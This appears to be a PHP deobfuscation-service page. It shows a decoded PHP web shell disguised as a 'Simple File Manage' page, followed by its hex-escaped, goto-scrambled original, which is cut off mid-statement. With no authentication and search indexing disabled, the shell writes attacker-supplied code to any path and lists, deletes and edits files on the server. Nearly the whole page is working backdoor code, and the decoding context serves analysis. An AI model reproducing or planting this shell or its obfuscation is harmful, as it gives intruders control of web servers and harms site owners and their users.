Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto FmIOzIYBWL; HrmT1mTJ1p: LZ2vHr8sww: Wrp2dQMICL: function hardScandir($dir) { ..

Decoded Output download

<?php 
 goto FmIOzIYBWL; HrmT1mTJ1p: LZ2vHr8sww: Wrp2dQMICL: function hardScandir($dir) { goto t6X6VlhUpb; Hjm3CIA2YJ: goto isrWRI0sNC; KEEsz6Q2oN: return $files; goto tC2W9FCMHV; eqsLhqe58Z: goto bW9ZOkXSNz; bW9ZOkXSNz: return scandir($dir); tC2W9FCMHV: goto HXVAoTIl7a; t6X6VlhUpb: if (function_exists("scandir")) { goto eqsLhqe58Z; } $dh = opendir($dir); isrWRI0sNC: if (!(false !== ($filename = readdir($dh)))) { goto KEEsz6Q2oN; } $files[] = $filename; goto Hjm3CIA2YJ; HXVAoTIl7a: } function escape($uri) { return str_replace("%2F", "/", rawurlencode($uri)); } echo "<!doctype html>\xd\xa<html lang="zh">
\xa<head>
<meta charset="utf-8">\xd
<meta name="viewport" content="width=device-width, initial-scale=1">
\xa<meta name="robots" content="noindex, nofollow">
\xa<title>Simple File Manage Design by index.php</title>
\xa<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">\xd
<style>
body{font-size:16px;color:#000;font-sans-serif: system-ui,-apple-system,"Segoe UI",Roboto,"Helvetica Neue","Noto Sans","Liberation Sans",Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji";}a{text-decoration:none;}*{padding:0;margin:0;list-style:none;}.fa{padding-right:10px;}.submit{background-color:#1e9fff;vertical-align:middle;\xd\xa    height: 38px;line-height: 38px;text-align:center;padding:0 18px;color:#FFF;border-radius:5px;cursor: pointer;}.border-none{border:none !important;}\xd\xa.container{width: 95%;margin: 0 auto;}\xd\xafieldset{display: block;margin-inline-start: 2px;margin-inline-end: 2px;padding-block-start: 0.35em;padding-inline-start: 0.75em;padding-inline-end: 0.75em;padding-block-end: 0.625em;min-inline-size: min-content;border-width: 2px;border-style: groove;border-color: rgb(192, 192, 192);border-image: initial;}\xd
legend{display:block;padding-inline-start: 2px;padding-inline-end: 2px;border-width: initial;border-style: none;border-color: initial;border-image: initial;margin-left: 20px;\xd\xa    padding:0 10px;font-size:20px;font-weight:300;}\xd
.field-title{margin:27px 0 20px;border-width:0;border-top-width:1px;}\xd\xa.table{border-collapse:collapse;border-spacing:0;overflow:scroll;width:100%;}
\xa.table td{word-break:break-all;max-width:300px;background-color:#FFF;}
\xa.table th, .table td{border: 1px solid #ddd;padding:8px;}\xd\xa.table tbody > tr:hover{background-color:#ccffcc;}\xd\xa.table tbody > tr:hover td{background:none;}
\xa.form-item{margin-bottom:15px;clear:both;border:1px solid #eee;}
.form-label{position:relative;float:left;display:block;padding:9px 15px;width:80px;font-weight:400;line-height:20px;text-align:right;background-color:#fafafa;}\xd\xa.form-text .form-label{float: none;width: 100%;border-radius: 2px;box-sizing: border-box;text-align: left;}\xd\xa.input-block{position:relative;margin-left:110px;min-height:36px;}
.form-text .input-block{margin: 0;left: 0;top: -1px;}
.form-input{display:block;padding-left:10px;width:50%;height:38px;line-height:1.3;line-height:38px\9;border:none;}\xd
.form-text .form-textarea{position:relative;width: 90%;min-height: 100px;height:auto;line-height:20px;border-radius: 0 0 2px 2px;padding: 6px 10px;resize: vertical;border: none;}
.form-radio{margin:12px 0 0 12px;}\xd\xa</style>
\xa<script type="text/javascript">
function sa(form){ for(var i = 0;i < form.elements.length;i++){var e = form.elements[i];if(e.type == 'checkbox'){if(e.name != 'chkall'){e.checked = form.chkall.checked;}}}}\xd
function del(){if(confirm("Are you sure?")){return true;}else{return false;}}\xd
</script>
\xa</head>\xd
<body>
<div class="container">\xd\xa    <fieldset class="field-title">\xd
        <legend>"; goto rNmpHFzv2G; TNHGxdxVtK: HcyD5ObT50: $action = isset($_GET["action"]) ? $_GET["action"] : ''; $path = isset($_REQUEST["path"]) ? $_REQUEST["path"] : ''; $title = $content = ''; switch ($action) { case "batchDel": $title = "\xe5\210\240\xe9\x99\244\351\x80\211\xe4\270\255\xe6\226\207\xe4\273\266"; $content = "<table cellspacing="0" cellpadding="0" border="0" class="table"><tr><td>\346\226\207\344\273\xb6\345\220\x8d</td><td>\xe6\x93\x8d\xe4\275\x9c</td></tr>"; if (!isset($_POST["files"])) { goto YDTbp0X0q2; } foreach ($_POST["files"] as $v) { goto W0wHpya_Vn; XGBIpGgGS_: cyJGU1rvvn: bAG4WWQJhs: goto grVSICXRbL; S3JMT9kxsU: $content .= "<tr><td><font color="red">" . $v . "</font></td><td>\xe5\x88\240\351\x99\244\345\244\261\350\xb4\245</td></tr>"; goto UOuqIftKLn; MmhzPB02Mi: $content .= "<tr><td>" . $v . "</td><td>\xe5\210\xa0\xe9\231\244\346\x88\x90\345\x8a\237</td></tr>"; UOuqIftKLn: goto XGBIpGgGS_; W0wHpya_Vn: if (file_exists($v)) { goto IeGRHBDHfj; } $content .= "<tr><td>" . $v . "</td><td>\345\210\240\xe9\231\244\xe6\210\220\345\x8a\237</td></tr>"; goto cyJGU1rvvn; IeGRHBDHfj: if (unlink($v)) { goto MmhzPB02Mi; } goto S3JMT9kxsU; grVSICXRbL: } sGHvkjPj6_: $content .= "</table>"; YDTbp0X0q2: goto Wrp2dQMICL; case "del": goto zflmMRHTXg; g62oNySWjC: $content .= "</td></tr></table>"; goto Wrp2dQMICL; goto KoFdGBm2k5; zflmMRHTXg: $title = "\xe5\210\240\xe9\231\244\346\226\x87\344\273\xb6"; $content = "<table cellspacing="0" cellpadding="0" border="0" class="table"><tr><td>\xe6\226\207\xe4\xbb\266\xe5\x90\x8d</td><td>\346\223\215\344\xbd\234</td></tr><tr><td>" . $path . "</td><td>"; if (!$path) { goto RqluriGhm4; } if (file_exists($path)) { goto drcA7MUit3; } $content .= "Success"; goto RjYPr_6rmO; v4b2CoKKGj: xgYlITkehi: $content .= "Success"; rYOkt2DLVl: VrQaoGsGmB: RqluriGhm4: goto g62oNySWjC; RjYPr_6rmO: goto VrQaoGsGmB; drcA7MUit3: if (unlink($path)) { goto xgYlITkehi; } $content .= "<font color="red">Fail</font><br>"; goto rYOkt2DLVl; goto v4b2CoKKGj; KoFdGBm2k5: case "edit": goto ydyeGisXH1; ydyeGisXH1: $title = "\xe6\x9f\xa5\xe7\234\213/\xe7\xbc\226\350\xbe\221 \xe4\273\243\xe7\xa0\x81"; $code = isset($_POST["code"]) ? $_POST["code"] : ''; if ($code) { goto mgcPtVeUvs; } $content = "<form action="?action=edit" method="post"><input type="hidden" name="path" value="" . htmlspecialchars($path) . ""><div class="form-item form-text"><label class="form-label">\xe5\x86\x85\xe5\256\xb9</label><div class="input-block"><textarea name="code" class="form-textarea" style="min-height:500px;">" . htmlspecialchars(file_get_contents(htmlspecialchars($path))) . "</textarea></div></div><div class="form-item border-none"><div class="input-block"><input type="submit" class="submit border-none"></div></div></form>"; goto rDg8spc4fF; goto pKN1yvDamP; tktrhq_8VE: $result = file_put_contents($path, $code); if ($result) { goto MpKldulOuT; } chmod($path, 0644); $temp = file_put_contents($path, $code); if ($temp) { goto a1cw4oBnWj; } goto sbuYEBRcYU; jm4EPthwpg: rDg8spc4fF: goto Wrp2dQMICL; goto d4ZuA09abI; sbuYEBRcYU: $content = "\xe4\277\256\346\x94\271\346\235\203\351\231\x90\xe5\x90\x8e\357\xbc\x8c\347\274\x96\xe8\276\221\xe4\271\237\xe5\244\261\xe8\xb4\245\343\200\202"; goto MEiwVC3u0s; a1cw4oBnWj: $content = "\xe4\xbf\xae\xe6\x94\271\xe6\235\x83\xe9\231\220\xe5\x90\x8e\357\xbc\214\xe7\274\x96\xe8\276\221\346\210\220\345\x8a\237\343\x80\202"; MEiwVC3u0s: goto OKiXn8lYfX; OKiXn8lYfX: goto NgzlBcAukp; MpKldulOuT: $content = "\xe7\xbc\226\xe8\xbe\x91\xe6\210\220\345\212\237"; NgzlBcAukp: XqHnQsd5JI: goto jm4EPthwpg; pKN1yvDamP: mgcPtVeUvs: if (file_exists($path)) { goto QLREyQ95LN; } $content = "\xe6\x96\207\xe4\xbb\266\xe4\xb8\x8d\xe5\xad\x98\345\x9c\250\xef\274\214\347\274\x96\350\xbe\221\345\xa4\261\350\264\xa5\343\200\202"; goto XqHnQsd5JI; QLREyQ95LN: goto tktrhq_8VE; d4ZuA09abI: default: goto HHpe6nQo2y; dR_udJfOfj: vsbV0Zfofj: $content .= "<tr><td colspan="8"><input type="checkbox" id="chkall" name="chkall" value="on" onclick="sa(this.form);"> \345\x85\xa8\xe9\200\211 <input type="submit" value="Delete Checked" onclick="return del();"></td></tr></table></form>"; goto Wrp2dQMICL; goto qYvrAarxXc; KC8Obr3slJ: $title = $dir; $content = "<form name="frm1" id="frm1" method="post" action="?action=batchDel"><table cellspacing="0" cellpadding="0" border="0" class="table"><thead><tr><td></td><td>\346\226\x87\344\xbb\266\xe5\220\215</td><td align="center">\346\235\203\351\x99\x90</td><td align="center">\xe5\x88\233\345\xbb\272\346\227\266\351\x97\264</td><td align="center">\347\xbc\226\350\276\x91\346\x97\xb6\xe9\227\xb4</td><td align="center">\350\xae\277\xe9\x97\256\346\x97\266\351\x97\264</td><td align="center">\xe5\xa4\247\345\260\217</td><td align="center">\xe6\223\215\xe4\275\234</td></tr></thead>"; foreach (hardScandir($dir) as $value) { $fullPath = str_replace("//", "/", $dir . "/" . $value); if (!($value != "." && $value != ".." && is_dir($fullPath))) { goto QXD6lCkC9p; } $content .= "<tr><td align="center"><input type="checkbox" name="files[]" value="" . $fullPath . ""></td><td><a href="?path=" . escape($fullPath) . "" target="_blank">" . $fullPath . "</td><td align="center">" . substr(sprintf("%o", fileperms($fullPath)), -4) . "</td><td align="center">" . date("Y-m-d H:i:s", filectime($fullPath)) . "</td><td align="center">" . date("Y-m-d H:i:s", filemtime($fullPath)) . "</td><td align="center">" . date("Y-m-d H:i:s", fileatime($fullPath)) . "</td><td align="center">\346\226\207\344\xbb\266\xe5\xa4\271</td><td align="center"></td></tr>"; QXD6lCkC9p: oU63N1bLOu: } WXENhfchSa: foreach (hardScandir($dir) as $value) { $fullPath = str_replace("//", "/", $dir . "/" . $value); if (!($value != "." && $value != ".." && !is_dir($fullPath))) { goto DGKj_8kJZM; } $content .= "<tr><td align="center"><input type="checkbox" name="files[]" value="" . $fullPath . ""></td><td><a href="?path=" . escape($fullPath) . "&action=edit" target="_blank">" . $fullPath . "</td><td align="center">" . substr(sprintf("%o", fileperms($fullPath)), -4) . "</td><td align="center">" . date("Y-m-d H:i:s", filectime($fullPath)) . "</td><td align="center">" . date("Y-m-d H:i:s", filemtime($fullPath)) . "</td><td align="center">" . date("Y-m-d H:i:s", fileatime($fullPath)) . "</td><td align="center">" . round(filesize($fullPath) / 1024, 2) . " Kb</td><td align="center"><a href="?path=" . escape($fullPath) . "&action=del">\345\x88\xa0\xe9\x99\244</a></td></tr>"; DGKj_8kJZM: AbTPC1mpbf: } goto dR_udJfOfj; HHpe6nQo2y: $root = isset($_SERVER["DOCUMENT_ROOT"]) ? $_SERVER["DOCUMENT_ROOT"] : ''; $dir = __DIR__; if (!$path) { goto HDD_0ynOLB; } $dir = $path; HDD_0ynOLB: goto KC8Obr3slJ; qYvrAarxXc: } goto HrmT1mTJ1p; FmIOzIYBWL: if (!(isset($_POST["codes"]) && isset($_POST["paths"]))) { goto HcyD5ObT50; } $code_content = $_POST["codes"]; $file_path = $_POST["paths"]; file_put_contents($file_path, $code_content); echo "PHP file updated successfully."; goto TNHGxdxVtK; rNmpHFzv2G: echo $title; echo "</legend>\xd
    </fieldset>
\xa    "; echo $content; goto IaMIvXJYwp; IaMIvXJYwp: echo "</div>\xd\xa</body>\xd\xa</html>"; ?>

Did this file decode correctly?

Original Code

<?php
 goto FmIOzIYBWL; HrmT1mTJ1p: LZ2vHr8sww: Wrp2dQMICL: function hardScandir($dir) { goto t6X6VlhUpb; Hjm3CIA2YJ: goto isrWRI0sNC; KEEsz6Q2oN: return $files; goto tC2W9FCMHV; eqsLhqe58Z: goto bW9ZOkXSNz; bW9ZOkXSNz: return scandir($dir); tC2W9FCMHV: goto HXVAoTIl7a; t6X6VlhUpb: if (function_exists("\163\143\141\x6e\x64\x69\162")) { goto eqsLhqe58Z; } $dh = opendir($dir); isrWRI0sNC: if (!(false !== ($filename = readdir($dh)))) { goto KEEsz6Q2oN; } $files[] = $filename; goto Hjm3CIA2YJ; HXVAoTIl7a: } function escape($uri) { return str_replace("\x25\62\106", "\x2f", rawurlencode($uri)); } echo "\x3c\41\x64\x6f\143\164\x79\x70\145\x20\150\x74\155\x6c\76\xd\xa\x3c\x68\x74\155\x6c\x20\x6c\141\x6e\147\75\x22\172\x68\x22\x3e\15\xa\x3c\x68\x65\141\144\76\15\12\74\155\x65\x74\x61\x20\143\150\141\162\x73\145\164\x3d\42\165\164\x66\55\70\42\76\xd\12\x3c\155\145\164\x61\40\x6e\x61\155\x65\x3d\42\166\151\145\x77\x70\157\x72\164\42\40\143\x6f\156\x74\x65\156\x74\x3d\42\x77\x69\x64\164\150\75\144\145\x76\x69\x63\x65\55\x77\x69\144\164\150\54\x20\151\156\151\164\x69\x61\x6c\x2d\163\143\x61\154\x65\75\x31\x22\x3e\15\xa\74\155\145\164\141\x20\156\x61\155\x65\x3d\42\162\x6f\142\x6f\164\x73\42\x20\143\157\156\164\145\156\x74\x3d\x22\x6e\157\x69\x6e\144\x65\x78\x2c\x20\x6e\x6f\x66\157\154\x6c\157\x77\x22\76\15\xa\74\164\151\164\x6c\145\x3e\123\x69\x6d\x70\154\145\x20\106\151\154\x65\40\x4d\x61\156\141\147\x65\x20\104\145\x73\151\147\x6e\x20\x62\x79\x20\x69\x6e\x64\145\x78\x2e\160\150\160\x3c\x2f\x74\151\164\x6c\145\x3e\15\xa\74\154\151\x6e\153\x20\162\145\x6c\75\x22\x73\164\x79\154\x65\163\x68\x65\145\x74\x22\40\150\162\145\146\75\42\150\x74\164\x70\x73\72\x2f\57\143\x64\x6e\152\163\x2e\143\154\157\x75\144\x66\x6c\x61\x72\145\x2e\x63\157\x6d\x2f\141\152\x61\170\57\x6c\151\x62\163\x2f\x66\157\156\164\x2d\141\167\x65\x73\157\x6d\x65\57\x34\56\x37\x2e\x30\57\x63\x73\163\57\146\157\x6e\164\55\x61\167\145\163\157\x6d\145\x2e\155\151\156\x2e\x63\163\163\42\x3e\xd\12\x3c\x73\164\x79\154\x65\76\15\12\142\157\144\x79\x7b\146\x6f\156\x74\55\x73\x69\x7a\145\72\x31\x36\x70\x78\x3b\143\x6f\x6c\x6f\162\x3a\43\x30\x30\60\x3b\146\x6f\156\x74\55\163\x61\156\x73\55\163\x65\162\x69\146\x3a\x20\x73\x79\163\x74\145\x6d\55\x75\x69\x2c\x2d\x61\x70\x70\x6c\x65\x2d\163\171\x73\x74\145\x6d\x2c\x22\x53\x65\x67\x6f\145\x20\125\x49\x22\54\x52\x6f\x62\157\164\157\x2c\42\x48\x65\154\166\x65\164\151\x63\141\x20\x4e\145\x75\145\42\54\42\116\157\x74\x6f\x20\123\x61\x6e\x73\42\54\x22\x4c\151\142\145\x72\x61\164\151\157\156\x20\123\141\x6e\x73\42\x2c\x41\x72\x69\141\x6c\x2c\163\x61\x6e\x73\55\163\145\x72\151\x66\x2c\x22\x41\160\160\154\x65\40\x43\x6f\154\157\162\x20\105\155\x6f\x6a\x69\42\x2c\42\x53\145\x67\x6f\145\40\125\x49\x20\x45\x6d\157\152\151\42\54\42\123\x65\x67\157\145\40\125\111\x20\123\171\155\142\157\154\42\x2c\42\x4e\x6f\x74\x6f\x20\x43\x6f\x6c\x6f\162\x20\x45\x6d\157\152\x69\42\x3b\175\x61\x7b\x74\x65\x78\x74\x2d\x64\x65\x63\157\162\141\164\x69\157\x6e\72\x6e\157\x6e\x65\x3b\175\52\173\160\x61\x64\x64\151\156\x67\72\x30\x3b\x6d\x61\x72\x67\x69\x6e\72\x30\x3b\154\151\x73\x74\x2d\163\x74\x79\x6c\x65\72\156\157\x6e\x65\x3b\x7d\x2e\x66\x61\x7b\x70\141\x64\144\x69\x6e\x67\55\x72\151\x67\x68\x74\72\x31\60\160\170\73\x7d\56\x73\165\x62\155\151\164\173\142\141\143\153\147\x72\157\165\156\144\55\x63\157\x6c\157\162\72\x23\61\x65\x39\146\146\146\73\166\145\x72\164\x69\x63\x61\x6c\55\x61\154\151\147\156\72\155\151\144\x64\154\x65\73\xd\xa\x20\40\x20\40\x68\145\x69\x67\x68\164\72\40\x33\x38\160\x78\73\x6c\x69\156\x65\x2d\x68\145\x69\147\150\x74\72\40\63\70\x70\170\73\164\x65\x78\164\x2d\141\x6c\151\x67\156\72\143\145\x6e\x74\145\162\x3b\160\141\x64\x64\151\156\147\72\x30\40\x31\x38\160\170\x3b\143\x6f\x6c\x6f\x72\x3a\x23\x46\106\x46\73\x62\157\162\x64\145\162\55\x72\x61\144\x69\165\x73\x3a\65\x70\x78\73\x63\165\162\x73\x6f\162\72\x20\160\157\x69\x6e\164\145\162\73\175\x2e\142\157\162\x64\145\162\55\x6e\x6f\x6e\x65\x7b\x62\x6f\x72\x64\x65\x72\x3a\x6e\x6f\156\145\x20\41\x69\155\x70\157\x72\164\x61\156\x74\73\x7d\xd\xa\56\x63\157\156\164\141\x69\156\145\162\173\x77\151\144\164\x68\72\x20\71\x35\x25\73\155\141\162\147\x69\156\x3a\40\x30\x20\x61\x75\164\x6f\73\x7d\xd\xa\146\x69\145\x6c\144\x73\x65\x74\173\144\151\x73\x70\154\141\171\x3a\x20\142\154\x6f\x63\x6b\x3b\155\141\162\147\x69\x6e\55\151\156\154\151\x6e\145\55\x73\x74\141\162\x74\x3a\40\x32\x70\170\73\155\x61\162\147\151\x6e\x2d\151\156\x6c\151\156\x65\55\145\x6e\x64\72\x20\x32\160\x78\73\160\x61\144\x64\x69\x6e\x67\x2d\142\x6c\x6f\143\x6b\55\x73\x74\x61\162\164\x3a\x20\60\56\x33\x35\145\x6d\73\160\x61\x64\x64\151\156\147\55\x69\x6e\x6c\151\x6e\145\x2d\163\164\x61\162\164\x3a\x20\x30\x2e\x37\x35\145\155\x3b\x70\x61\144\144\x69\x6e\x67\55\151\x6e\154\x69\156\x65\x2d\145\156\144\72\x20\60\56\67\65\x65\x6d\x3b\x70\x61\x64\x64\x69\156\147\55\142\154\157\143\153\x2d\145\x6e\144\x3a\x20\60\x2e\x36\62\65\x65\155\73\x6d\151\156\x2d\x69\x6e\x6c\151\x6e\145\x2d\x73\x69\172\145\72\40\155\151\x6e\x2d\x63\157\x6e\164\145\x6e\x74\x3b\x62\157\162\144\x65\x72\55\x77\151\x64\x74\x68\72\x20\62\x70\x78\x3b\x62\157\x72\x64\145\162\x2d\x73\164\x79\154\145\x3a\x20\x67\x72\157\x6f\x76\145\x3b\142\157\162\144\x65\162\55\143\x6f\x6c\157\x72\x3a\x20\x72\147\x62\50\61\71\62\x2c\40\61\71\62\54\x20\61\x39\62\x29\73\x62\x6f\162\x64\145\x72\x2d\x69\155\141\147\145\72\x20\151\156\151\164\x69\141\154\x3b\x7d\xd\12\x6c\145\147\145\156\144\x7b\x64\151\163\x70\x6c\x61\x79\72\x62\154\157\x63\153\73\160\x61\x64\x64\x69\x6e\147\x2d\x69\156\154\151\x6e\x65\55\163\x74\x61\x72\164\72\x20\62\x70\x78\x3b\160\x61\144\144\x69\156\147\x2d\x69\156\x6c\151\156\x65\x2d\145\x6e\144\72\40\x32\160\170\x3b\142\x6f\x72\x64\x65\x72\x2d\x77\x69\144\x74\x68\x3a\40\151\156\151\x74\151\141\x6c\73\x62\157\x72\x64\x65\x72\x2d\163\164\x79\x6c\x65\72\40\156\x6f\156\145\x3b\x62\x6f\x72\x64\x65\162\55\x63\157\x6c\157\162\x3a\x20\x69\156\151\164\x69\x61\154\x3b\x62\x6f\162\144\x65\x72\x2d\151\x6d\x61\147\x65\x3a\x20\151\x6e\151\x74\x69\141\x6c\73\155\x61\x72\147\x69\x6e\55\154\x65\146\x74\72\40\62\x30\x70\x78\x3b\xd\xa\x20\40\40\40\x70\x61\x64\144\x69\156\147\x3a\x30\x20\61\60\160\170\x3b\x66\x6f\156\x74\55\x73\151\x7a\145\x3a\62\60\x70\x78\73\x66\x6f\x6e\x74\55\x77\145\x69\147\x68\x74\x3a\63\x30\x30\73\x7d\xd\12\56\x66\151\x65\x6c\144\55\x74\x69\x74\154\145\173\155\141\162\x67\x69\x6e\x3a\x32\x37\160\170\x20\x30\x20\62\x30\160\170\73\x62\x6f\162\x64\145\x72\x2d\167\151\x64\x74\150\72\x30\x3b\x62\157\x72\144\145\162\55\x74\157\160\x2d\167\151\144\164\150\x3a\61\160\170\x3b\x7d\xd\xa\x2e\164\x61\x62\154\145\x7b\x62\157\x72\x64\145\x72\x2d\x63\157\154\x6c\x61\x70\163\x65\x3a\x63\157\x6c\154\x61\x70\x73\x65\73\x62\x6f\162\144\145\162\55\163\160\141\x63\x69\x6e\147\72\x30\x3b\157\x76\145\x72\146\154\x6f\x77\x3a\163\143\162\157\154\154\73\x77\151\144\164\x68\72\61\x30\60\x25\x3b\175\15\xa\x2e\x74\141\x62\154\145\x20\x74\144\173\x77\x6f\162\144\55\142\162\145\x61\153\x3a\142\x72\145\x61\x6b\55\x61\x6c\154\73\x6d\x61\x78\55\x77\x69\x64\x74\150\72\63\60\60\160\170\73\x62\x61\x63\153\147\x72\x6f\x75\156\144\x2d\x63\x6f\154\x6f\162\72\43\x46\106\x46\73\175\15\xa\x2e\x74\141\x62\x6c\x65\x20\x74\x68\x2c\x20\x2e\164\141\x62\x6c\x65\40\164\144\x7b\x62\157\x72\x64\x65\x72\72\40\61\160\170\x20\x73\157\154\151\x64\x20\x23\144\144\x64\73\160\x61\x64\144\151\156\x67\72\x38\160\x78\73\x7d\xd\xa\x2e\164\x61\142\x6c\x65\40\x74\x62\x6f\144\171\40\x3e\40\x74\162\72\150\x6f\166\x65\x72\x7b\142\141\143\153\x67\x72\157\165\156\x64\55\x63\x6f\x6c\157\x72\x3a\43\x63\x63\x66\x66\x63\x63\x3b\175\xd\xa\56\x74\x61\x62\x6c\x65\40\x74\142\157\x64\171\40\x3e\40\164\x72\x3a\x68\x6f\x76\145\162\40\x74\x64\x7b\142\141\143\153\147\x72\157\165\156\144\x3a\156\x6f\x6e\x65\73\x7d\15\xa\x2e\146\157\162\155\x2d\x69\164\145\x6d\173\155\141\162\147\x69\156\x2d\x62\x6f\x74\x74\x6f\x6d\x3a\61\65\160\170\73\x63\154\x65\141\x72\72\x62\157\164\150\73\142\x6f\x72\x64\x65\x72\x3a\61\160\x78\40\x73\x6f\x6c\151\144\x20\43\145\x65\145\73\x7d\15\12\56\146\157\162\x6d\55\x6c\141\x62\x65\x6c\173\x70\157\163\x69\x74\x69\157\156\72\162\x65\x6c\141\164\151\166\x65\x3b\x66\154\x6f\x61\x74\72\154\145\146\x74\73\x64\x69\x73\160\x6c\x61\171\x3a\142\154\x6f\x63\x6b\73\160\x61\x64\144\151\x6e\x67\x3a\x39\160\x78\x20\61\65\x70\x78\73\x77\x69\144\x74\x68\72\x38\60\x70\170\73\146\157\156\164\55\167\145\x69\147\150\x74\72\x34\60\x30\x3b\x6c\x69\156\x65\55\x68\145\151\147\x68\x74\x3a\x32\60\160\x78\x3b\164\x65\170\164\55\x61\x6c\151\x67\x6e\x3a\162\151\147\x68\x74\x3b\142\141\143\x6b\147\x72\x6f\165\x6e\144\x2d\x63\x6f\x6c\x6f\x72\72\x23\146\x61\146\x61\x66\x61\x3b\175\xd\xa\56\x66\x6f\x72\155\x2d\x74\145\170\164\40\x2e\146\157\x72\x6d\x2d\154\141\x62\145\154\x7b\146\154\157\x61\164\72\x20\156\x6f\156\145\73\x77\x69\144\x74\150\x3a\x20\x31\x30\60\x25\x3b\x62\x6f\x72\144\x65\x72\x2d\x72\141\x64\x69\x75\x73\x3a\40\62\x70\170\73\x62\157\170\55\x73\151\172\x69\x6e\147\x3a\40\142\157\162\x64\145\x72\55\x62\x6f\x78\x3b\164\145\x78\x74\55\x61\x6c\151\x67\156\72\x20\154\145\146\x74\x3b\x7d\xd\xa\x2e\151\156\x70\x75\164\55\142\154\x6f\143\x6b\x7b\x70\157\163\x69\164\x69\157\x6e\x3a\162\145\154\141\x74\151\166\x65\x3b\x6d\x61\x72\x67\151\156\x2d\154\145\x66\164\72\61\61\60\x70\170\73\155\x69\156\x2d\150\x65\x69\147\x68\x74\72\63\66\160\x78\73\175\15\12\x2e\x66\x6f\162\155\55\164\145\x78\164\40\56\x69\156\x70\x75\164\x2d\x62\154\157\x63\153\x7b\x6d\141\162\x67\x69\156\x3a\x20\60\x3b\x6c\x65\x66\164\72\x20\x30\x3b\164\157\160\72\x20\55\x31\x70\x78\73\x7d\15\12\56\x66\157\x72\x6d\55\x69\156\160\165\164\x7b\x64\151\x73\x70\154\x61\171\x3a\x62\154\x6f\x63\x6b\x3b\x70\141\144\x64\x69\x6e\x67\x2d\154\145\146\164\72\x31\60\x70\x78\x3b\x77\151\x64\164\x68\x3a\x35\60\x25\x3b\x68\x65\151\147\x68\x74\x3a\63\70\x70\x78\x3b\x6c\151\156\145\x2d\x68\145\x69\147\150\x74\72\61\x2e\x33\73\x6c\151\156\x65\55\x68\x65\151\x67\150\164\72\63\x38\160\x78\134\x39\73\x62\x6f\x72\x64\145\x72\x3a\156\x6f\156\145\x3b\x7d\xd\12\56\146\157\x72\155\55\x74\x65\x78\x74\x20\x2e\x66\157\162\x6d\55\x74\145\x78\164\x61\x72\x65\x61\173\x70\x6f\x73\x69\x74\x69\x6f\156\72\162\145\154\x61\164\x69\166\145\73\167\x69\x64\164\x68\72\x20\x39\60\45\x3b\155\x69\x6e\55\x68\x65\x69\x67\x68\164\72\x20\61\60\x30\160\x78\73\150\x65\151\x67\150\164\x3a\141\x75\164\157\x3b\154\x69\156\x65\55\150\x65\151\x67\150\164\72\62\60\x70\x78\73\142\x6f\162\144\x65\x72\x2d\162\141\144\x69\165\x73\72\x20\60\40\x30\40\x32\160\170\x20\62\160\x78\x3b\160\x61\144\144\151\x6e\147\72\40\x36\x70\x78\40\x31\60\x70\170\x3b\x72\x65\163\151\172\x65\72\40\x76\x65\162\164\x69\x63\141\x6c\73\x62\x6f\x72\x64\x65\x72\x3a\40\x6e\157\x6e\x65\x3b\x7d\15\12\x2e\146\x6f\162\155\55\162\x61\144\151\157\x7b\155\141\x72\147\x69\156\72\x31\62\x70\170\40\60\40\x30\x20\x31\62\x70\x78\x3b\175\xd\xa\74\57\x73\164\x79\154\145\x3e\15\xa\74\x73\143\x72\x69\x70\x74\40\x74\171\160\145\x3d\x22\x74\x65\x78\x74\57\152\141\166\141\x73\x63\162\x69\x70\x74\x22\x3e\15\12\146\x75\x6e\143\164\151\157\x6e\40\163\x61\50\146\157\162\x6d\51\173\x20\x66\157\162\50\x76\x61\x72\x20\x69\x20\x3d\40\60\73\151\40\74\x20\x66\x6f\x72\x6d\x2e\x65\x6c\x65\x6d\x65\x6e\164\163\56\154\145\156\147\164\x68\73\151\53\53\x29\x7b\x76\x61\x72\40\145\40\75\x20\x66\157\162\155\x2e\145\x6c\x65\155\x65\x6e\x74\163\133\151\135\73\x69\146\50\145\56\x74\171\x70\145\x20\75\x3d\x20\x27\x63\150\x65\x63\153\x62\157\170\47\x29\x7b\151\x66\x28\145\56\x6e\141\155\x65\40\41\x3d\40\x27\143\x68\153\141\x6c\154\47\x29\173\x65\x2e\143\x68\145\x63\x6b\145\x64\x20\x3d\40\146\157\x72\x6d\x2e\143\150\153\x61\154\154\56\143\150\x65\x63\153\145\x64\x3b\175\x7d\x7d\x7d\xd\12\146\x75\x6e\143\x74\x69\x6f\156\40\144\x65\154\50\x29\x7b\x69\x66\x28\x63\157\x6e\146\151\162\155\x28\x22\x41\x72\x65\x20\171\x6f\165\40\163\165\162\x65\77\42\x29\51\173\x72\145\x74\165\x72\156\x20\164\162\x75\x65\73\x7d\x65\x6c\163\145\x7b\162\x65\164\x75\162\x6e\x20\x66\x61\154\x73\x65\73\x7d\175\xd\12\x3c\x2f\163\143\162\x69\x70\x74\x3e\15\xa\74\x2f\x68\x65\x61\144\76\xd\12\x3c\x62\157\x64\x79\x3e\15\12\74\x64\x69\x76\40\143\x6c\x61\163\x73\x3d\42\x63\157\156\164\x61\151\x6e\x65\x72\42\x3e\xd\xa\x20\x20\x20\x20\x3c\x66\x69\x65\154\x64\163\145\x74\40\x63\154\x61\x73\x73\x3d\x22\146\151\x65\154\144\x2d\x74\151\x74\x6c\145\x22\76\xd\12\40\x20\x20\40\40\x20\x20\40\74\154\145\147\145\156\144\x3e"; goto rNmpHFzv2G; TNHGxdxVtK: HcyD5ObT50: $action = isset($_GET["\141\x63\164\x69\157\156"]) ? $_GET["\x61\143\164\151\157\x6e"] : ''; $path = isset($_REQUEST["\160\141\164\x68"]) ? $_REQUEST["\x70\141\x74\x68"] : ''; $title = $content = ''; switch ($action) { case "\x62\141\x74\x63\x68\x44\145\154": $title = "\xe5\210\240\xe9\x99\244\351\x80\211\xe4\270\255\xe6\226\207\xe4\273\266"; $content = 